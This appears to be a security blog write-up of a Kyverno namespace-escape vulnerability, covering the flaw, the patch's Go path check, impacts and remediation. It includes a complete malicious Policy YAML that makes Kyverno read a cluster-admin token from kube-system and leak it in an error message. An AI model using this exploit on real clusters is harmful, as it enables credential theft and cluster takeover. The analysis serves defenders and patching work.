The Policeman's Backdoor: Escaping Namespaces in Kyverno (CVE-2026-22039)

Kyverno is the self-proclaimed 'police force' of Kubernetes. It's a policy engine designed to validate, mutate, and generate resources. To do its job effectively, the Kyverno ServiceAccount is typically decked out with god-mode permissions—it needs to see everything to police everything.

One of Kyverno's coolest features is the apiCall context provider. It allows a policy to dynamically fetch data from the Kubernetes API server to make smarter decisions. Think of it as a policy saying, "Hey API server, before I let this Pod in, tell me if the ConfigMap it needs actually exists."

But here is the catch: When a user defines a policy in their local, restricted namespace, Kyverno executes that logic using its own high-privileged identity. If Kyverno doesn't carefully check what the user is asking for, it becomes a confused deputy—a powerful entity tricked into doing dirty work for a low-level goon.

The vulnerability lies in how Kyverno handled apiCall requests defined in namespaced Policy resources (as opposed to ClusterPolicy). The design intent is clear: a policy in the dev namespace should only be able to query resources in the dev namespace.

However, the code responsible for executing these calls failed to validate the urlPath provided by the user. It simply took the path string—variables and all—and fired off an HTTP request to the local API server.

Because Kyverno didn't enforce that the path must align with the policy's namespace, an attacker could supply a path like /api/v1/namespaces/kube-system/secrets. Kyverno, running as a cluster-admin equivalent, would look at the request, nod, and fetch the sensitive data. It’s like locking your front door but leaving the window wide open because you assume only your friends know how to use a ladder.

Let's look at the fix to understand the breakage. The vulnerability existed in pkg/engine/apicall/apiCall.go. Prior to the patch, the Fetch function was far too trusting. The fix introduces a strict regex check and path cleaning.

Here is the logic introduced in the patch:

// The new sheriff in town: Regex to enforce namespace isolation
var namespacePathRegex = regexp.MustCompile(`^/api(s)?/.*?/namespaces/([^/]+)/?.*$`)
 
// Inside the Fetch() method:
if a.policyNamespace != "" {
    // 1. Sanitize the path to prevent directory traversal (e.g. /namespaces/ns/../)
    cleanPath := path.Clean(call.APICall.URLPath)
    
    // 2. Extract the namespace from the path
    if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 {
        ns := matches[2]
        
        // 3. The fatal blow to the exploit: Exact Match Requirement
        if ns != a.policyNamespace {
            return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace)
        }
    } else {
        // Block cluster-scoped calls entirely for namespaced policies
        return nil, fmt.Errorf("path %s does not contain a namespace segment...", cleanPath)
    }
}

The previous code lacked these three critical checks. It didn't clean the path (allowing ../ traversal), and it didn't compare the requested namespace against the policy's origin namespace.

Exploitation is trivial and requires no binary wizardry—just a bit of YAML. Imagine you are an attacker with access to the restricted-ns namespace. You want the cluster admin token.

Step 1: Draft the Malicious Policy You create a standard Policy object. In the context variable, you point the apiCall at the forbidden fruit.

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: pilfer-secrets
  namespace: restricted-ns
spec:
  rules:
  - name: exfiltrate
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: admin_secret
      apiCall:
        # The money shot: targeting kube-system from restricted-ns
        urlPath: "/api/v1/namespaces/kube-system/secrets/cluster-admin-token"
        method: GET
    validate:
      message: "Nothing to see here... except {{ admin_secret.data.token }}"
      deny: {}

Step 2: Trigger the Trap You create a dummy Pod in your restricted-ns. Kyverno intercepts the request.

Step 3: Profit Kyverno executes the apiCall as itself. It reads the secret from kube-system. Depending on how you structured the policy, Kyverno either blocks the Pod and prints the secret in the error message (visible to you in the CLI) or logs it to the centralized logging system. Congratulations, you are now Cluster Admin.

This is a CVSS 10.0 for a reason. It completely negates the concept of multi-tenancy in a Kubernetes cluster protected by Kyverno.

If you use Kyverno to enforce security, you have ironically introduced a mechanism to bypass it. An attacker doesn't need to exploit the kernel or find a buffer overflow in the container runtime. They just need permission to create a Policy—a permission often granted to developers so they can manage their own application guardrails.

This flaw allows for:

1. Information Disclosure: Reading Secrets, ConfigMaps, and environment variables from any namespace.
2. Privilege Escalation: Modifying RoleBindings or other auth resources if the apiCall supports mutation (PUT/POST/DELETE) and the Kyverno ServiceAccount allows it.
3. Denial of Service: Deleting critical system resources.

The remediation is straightforward: Upgrade. The Kyverno team patched this in versions 1.15.3 and 1.16.3.

The patch forces apiCall paths in namespaced policies to be strictly contained within that namespace. It effectively sandboxes the apiCall logic.

If you cannot upgrade immediately, your only mitigation is to restrict RBAC permissions. Ensure that only trusted cluster administrators have the permission to create or update Policy resources. Regular developers should not be writing their own policies until the patch is applied.